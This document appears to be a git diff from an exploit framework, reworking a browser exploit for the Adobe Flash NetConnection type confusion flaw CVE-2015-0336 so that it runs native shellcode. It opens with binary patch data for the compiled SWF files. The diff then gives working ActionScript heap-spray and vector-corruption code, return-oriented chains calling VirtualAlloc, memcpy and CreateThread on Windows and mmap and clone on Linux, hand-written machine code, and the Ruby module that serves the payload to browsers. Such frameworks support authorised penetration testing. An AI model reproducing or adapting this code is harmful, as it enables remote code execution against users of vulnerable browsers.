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 Fd;loH)6f6_ diff --git a/data/exploits/CVE-2015-0336/trigger.swf b/data/exploits/CVE-2015-0336/trigger.swf index 643747118350da648945a89ddfa47ab8a577db12..3d87fc3c709953b67b2935bbebe695285948eb22 100755 GIT binary patch delta 324 zcmV-K0lWUx0@DJJ7=Nl{hKjul6D#VMgv5|0r0iB&g;EGj)I>mk0iC+l5(EE-k-x$( zD9=tegol&w`Q5$edxQ7}WDcA=7_$SNMjdoQhoIl=5YjDFDvak(@ggZM{CK&-p?PZ> z!mW=6Y(*{7Y!;`;*IAjBn>@j@DG#TsxLm#@2xgDTyo6G=L4PU4d7f_QeVUZvI?J!q zcu_zzc<8p(x0A^cgr8=9A*fz+VGR29eY!sJaY{jLNlb z!uv->C?Xl?(>+SUxFcNC;9W`d-4R{4UHXrIH=K@@KfIZsd{`D$$Tm_Nh)F>n0}_>! W$Lt8&2?L_P00030{{sLM%~GUpDx4qy delta 325 zcmV-L0lNOv0@MPK7=J=CLRH1ug^3mQOG08u6H<07twJe;CTb#}zkp61Eiv$a82Kyw zg7WNiLwGp(p5NVjzBh<(K;}T#!I8_Cz*f{E&1P|me4Uk9xycheoAPkFip%9of?)QT%u6U`8-J8SoagC=-ls_!uCx3) zjTZ$pgNIJL{mJlSiPN#AooAL}J%V={9B2*>k4=a;vLf!TWp=Igz>3%VD9cKGK(`=p z-aQkSWFQ#H4~{${sVlXhcT=qmh;ymy;I3EaJkY1$T$oRaF9UxKG#NxvAED|pFfuCF zwh8Ya6`_b^pgxZ)3FD4%O@ntO(RW95-FE0d{@rjoR{rp2g7RTmR3Y0)Z6GEEc?d{U XP9C!(XeSJa{sI61|NjF3##2&LQ=OZH diff --git a/external/source/exploits/CVE-2015-0336/Exploit.as b/external/source/exploits/CVE-2015-0336/Exploit.as index 15abbc3256..9886106f71 100644 --- a/external/source/exploits/CVE-2015-0336/Exploit.as +++ b/external/source/exploits/CVE-2015-0336/Exploit.as @@ -28,8 +28,9 @@ package private var interval_id:uint private var trigger_swf:String private var b64:Base64Decoder = new Base64Decoder() - private var payload:String + private var payload:ByteArray private var platform:String + private var original_length:uint = 0 public function Exploit() { @@ -40,21 +41,23 @@ package var pattern:RegExp = / /g; b64_payload = b64_payload.replace(pattern, "+") b64.decode(b64_payload) - payload = b64.toByteArray().toString() + payload = b64.toByteArray() if (platform == 'win') { + original_length = 0x1e for (i = 0; i < 89698; i = i + 1) { spray[i] = new Vector.(1014) spray[i][0] = 0xdeadbeef spray[i][1] = 0xdeedbeef spray[i][2] = i - spray[i][29] = 0x1a1e1429 + spray[i][29] = 0x14951429 } for(i = 0; i < 89698; i = i + 1) { spray[i].length = 0x1e } - } else if (platform == 'linux') { + } else if (platform == 'linux') { + original_length = 1022 for (i = 0; i < 89698; i = i + 1) { spray[i] = new Vector.(1022) spray[i][0] = 0xdeadbeef @@ -97,9 +100,11 @@ package for(var i:uint = 0; i < spray.length; i = i + 1) { if (spray[i].length != 1022 && spray[i].length != 0x1e) { Logger.log('[*] Exploit - Found corrupted vector at ' + i + ' with length 0x' + spray[i].length.toString(16)) - spray[i][0x3ffffffe] = 0xffffffff - spray[i][0x3fffffff] = spray[i][1023] - uv = spray[i] + spray[i][1022] = 0xffffffff + spray[i + 1][0x3ffffbff] = spray[i][1023] + spray[i + 1][0x3ffffbfe] = original_length + uv = spray[i + 1] + break } } diff --git a/external/source/exploits/CVE-2015-0336/ExploitByteArray.as b/external/source/exploits/CVE-2015-0336/ExploitByteArray.as index 0da3b307b4..a8da46df7b 100644 --- a/external/source/exploits/CVE-2015-0336/ExploitByteArray.as +++ b/external/source/exploits/CVE-2015-0336/ExploitByteArray.as @@ -31,7 +31,6 @@ package public function lets_ready():void { - Logger.log("[*] ExploitByteArray - lets_ready()") ba.endian = "littleEndian" if (platform == "linux") { ba.length = 0xffffffff @@ -40,7 +39,6 @@ package public function is_ready():Boolean { - Logger.log("[*] ExploitByteArray - is_ready() - 0x" + ba.length.toString(16)) if (ba.length == 0xffffffff) return true @@ -72,10 +70,15 @@ package public function write(addr:uint, value:* = 0, zero:Boolean = true):void { + var i:uint + if (addr) ba.position = addr if (value is String) { - for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) + for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) if (zero) ba.writeByte(0) + } else if (value is ByteArray) { + var value_length:uint = value.length + for (i = 0; i < value_length; i++) ba.writeByte(value.readByte()) } else ba.writeUnsignedInt(value) } } diff --git a/external/source/exploits/CVE-2015-0336/Exploiter.as b/external/source/exploits/CVE-2015-0336/Exploiter.as index 036ffceb04..a56ca190ee 100644 --- a/external/source/exploits/CVE-2015-0336/Exploiter.as +++ b/external/source/exploits/CVE-2015-0336/Exploiter.as @@ -9,7 +9,7 @@ package private var exploit:Exploit private var ev:ExploitVector private var eba:ExploitByteArray - private var payload:String + private var payload:ByteArray private var platform:String private var pos:uint private var byte_array_object:uint @@ -25,7 +25,7 @@ package private var payload_space:Vector. = new Vector.(0x6400) private var spray:Vector. = new Vector.(89698) - public function Exploiter(exp:Exploit, pl:String, p: String, uv:Vector.):void + public function Exploiter(exp:Exploit, pl:String, p: ByteArray, uv:Vector.):void { exploit = exp payload = p @@ -147,11 +147,16 @@ package var pe:PE = new PE(eba) var flash:uint = pe.base(vtable) var winmm:uint = pe.module("winmm.dll", flash) - var kernel32:uint = pe.module("kernel32.dll", winmm) + var kernel32:uint = pe.module("kernel32.dll", winmm) + var ntdll:uint = pe.module("ntdll.dll", kernel32) var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32) var winexec:uint = pe.procedure("WinExec", kernel32) + var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32) + var createthread:uint = pe.procedure("CreateThread", kernel32) + var memcpy:uint = pe.procedure("memcpy", ntdll) var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) + var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) // Continuation of execution eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable @@ -169,17 +174,35 @@ package eba.write(0, virtualprotect) // VirtualProtect - eba.write(0, winexec) + eba.write(0, virtualalloc) eba.write(0, buffer + 0x10) eba.write(0, 0x1000) eba.write(0, 0x40) eba.write(0, buffer + 0x8) // Writable address (4 bytes) - // WinExec - eba.write(0, buffer + 0x10) - eba.write(0, payload_address + 8) - eba.write(0) + // VirtualAlloc + eba.write(0, memcpy) + eba.write(0, 0x70000000) + eba.write(0, 0x4000) + eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE + eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE + // memcpy + eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't + eba.write(0, 0x70000000) + eba.write(0, payload_address + 8) + eba.write(0, payload.length) + + // CreateThread + eba.write(0, createthread) + eba.write(0, buffer + 0x10) // return to fix things + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0x70000000) + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0) + eba.write(main, stack_address + 0x18000) // overwrite with fake vtable exploit.toString() // call method in the fake vtable } @@ -192,6 +215,8 @@ package var libc:Elf = new Elf(eba, feof) var popen:uint = libc.symbol("popen") var mprotect:uint = libc.symbol("mprotect") + var mmap:uint = libc.symbol("mmap") + var clone:uint = libc.symbol("clone") var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff) var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff) var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff) @@ -204,9 +229,23 @@ package // 2) Recover original stack eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi + // my_memcpy + eba.write(buffer + 0x60, "\x56", false) // push esi + eba.write(0, "\x57", false) // push edi + eba.write(0, "\x51", false) // push ecx + eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10] + eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14] + eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18] + eba.write(0, "\xF3\xA4", false) // rep movsb + eba.write(0, "\x59", false) // pop ecx + eba.write(0, "\x5f", false) // pop edi + eba.write(0, "\x5e", false) // pop esi + eba.write(0, "\xc3", false) // ret + +// eba.write(buffer + 0x10, "\xcc\xcc\xcc\xcc", false) + // Put the popen parameters in memory - eba.write(payload_address + 8, 'r', true) // type - eba.write(payload_address + 0xc, payload, true) // command + eba.write(payload_address + 0x8, payload, true) // false // Put the fake stack/vtable on memory eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot @@ -221,13 +260,49 @@ package eba.write(0, buffer) // addr eba.write(0, 0x1000) // size eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC - // Return to popen() - eba.write(stack_address + 0x18068, popen) + + // Return to mmap() + eba.write(stack_address + 0x18068, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() code segment arguments + eba.write(0, 0x70000000) // 0x70000000 + eba.write(0, 0x4000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS + eba.write(0, 0xffffffff) // filedes + eba.write(0, 0) // offset + + // Return to mmap() + eba.write(stack_address + 0x1809c, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() stack segment arguments + eba.write(0, 0x70008000) // NULL + eba.write(0, 0x10000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS + eba.write(0, -1) // filedes + eba.write(0, 0) // offset + + // Return to memcpy() + eba.write(stack_address + 0x180d0, buffer + 0x60) + // Return to stackpivot (jmp over memcpy parameters) + eba.write(0, addesp2cret) + // memcpy() parameters + eba.write(0, 0x70000000) + eba.write(0, payload_address + 0x8) + eba.write(0, payload.length) + + // Return to clone() + eba.write(stack_address + 0x18104, clone) // Return to CoE (fix stack and object vtable) eba.write(0, buffer + 0x10) - // popen() argument - eba.write(0, payload_address + 0xc) - eba.write(0, payload_address + 8) + // clone() arguments + eba.write(0, 0x70000000) // code + eba.write(0, 0x7000bff0) // stack + eba.write(0, 0x00000100) // flags CLONE_VM + eba.write(0, 0) // args //call DWORD PTR [eax+0x24] //EAX: 0x41414141 ('AAAA') diff --git a/external/source/exploits/CVE-2015-0336/PE.as b/external/source/exploits/CVE-2015-0336/PE.as index a80ade9321..8753586477 100644 --- a/external/source/exploits/CVE-2015-0336/PE.as +++ b/external/source/exploits/CVE-2015-0336/PE.as @@ -11,7 +11,6 @@ package public function base(addr:uint):uint { - Logger.log("[*] PE - base(): searching base for 0x" + addr.toString(16)) addr &= 0xffff0000 while (true) { if (eba.read(addr) == 0x00905a4d) return addr @@ -54,10 +53,20 @@ package public function gadget(gadget:String, hint:uint, addr:uint):uint { var find:uint = 0 + var contents:uint = 0 var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50) var value:uint = parseInt(gadget, 16) - for (var i:uint = 0; i < limit - 4; i++) if (value == (eba.read(addr + i) & hint)) break - return addr + i + + for (var i:uint = 0; i < limit - 4; i++) { + contents = eba.read(addr + i) + if (hint == 0xffffffff && value == contents) { + return addr + i + } + if (hint != 0xffffffff && value == (contents & hint)) { + return addr + i + } + } + throw new Error() } } } diff --git a/external/source/exploits/CVE-2015-0336/Trigger/src/Main.as b/external/source/exploits/CVE-2015-0336/Trigger/src/Main.as index 7daf1e8da9..27e00868e7 100755 --- a/external/source/exploits/CVE-2015-0336/Trigger/src/Main.as +++ b/external/source/exploits/CVE-2015-0336/Trigger/src/Main.as @@ -4,7 +4,7 @@ class Main { public static function main(swfRoot:MovieClip):Void { - var _loc2_ = _global.ASnative(2100, 0x1a1e2000); + var _loc2_ = _global.ASnative(2100, 0x14950000); var _loc3_ = new Object(); _loc2_.__proto__ = _loc3_; _global.ASnative(2100, 200)(_loc3_); //Netconnection constructor diff --git a/modules/exploits/multi/browser/adobe_flash_net_connection_confusion.rb b/modules/exploits/multi/browser/adobe_flash_net_connection_confusion.rb index 8412136cf0..67bcc9fdc4 100644 --- a/modules/exploits/multi/browser/adobe_flash_net_connection_confusion.rb +++ b/modules/exploits/multi/browser/adobe_flash_net_connection_confusion.rb @@ -8,7 +8,6 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking - include Msf::Exploit::Powershell include Msf::Exploit::Remote::BrowserExploitServer def initialize(info={}) @@ -44,8 +43,8 @@ class Metasploit3 < Msf::Exploit::Remote { 'DisableNops' => true }, - 'Platform' => ['win', 'unix'], - 'Arch' => [ARCH_X86, ARCH_CMD], + 'Platform' => ['win', 'linux'], + 'Arch' => [ARCH_X86], 'BrowserRequirements' => { :source => /script|headers/i, @@ -57,7 +56,7 @@ class Metasploit3 < Msf::Exploit::Remote :ua_name => lambda do |ua| case target.name when 'Windows' - return true if ua == Msf::HttpClients::IE + return true if ua == Msf::HttpClients::IE || ua == Msf::HttpClients::FF when 'Linux' return true if ua == Msf::HttpClients::FF end @@ -79,14 +78,12 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'Windows', { - 'Platform' => 'win', - 'Arch' => ARCH_X86 + 'Platform' => 'win' } ], [ 'Linux', { - 'Platform' => 'unix', - 'Arch' => ARCH_CMD + 'Platform' => 'linux' } ] ], @@ -117,15 +114,12 @@ class Metasploit3 < Msf::Exploit::Remote def exploit_template(cli, target_info) swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" + target_payload = get_payload(cli, target_info) + b64_payload = Rex::Text.encode_base64(target_payload) if target.name =~ /Windows/ - target_payload = get_payload(cli, target_info) - psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true}) - b64_payload = Rex::Text.encode_base64(psh_payload) platform_id = 'win' elsif target.name =~ /Linux/ - target_payload = 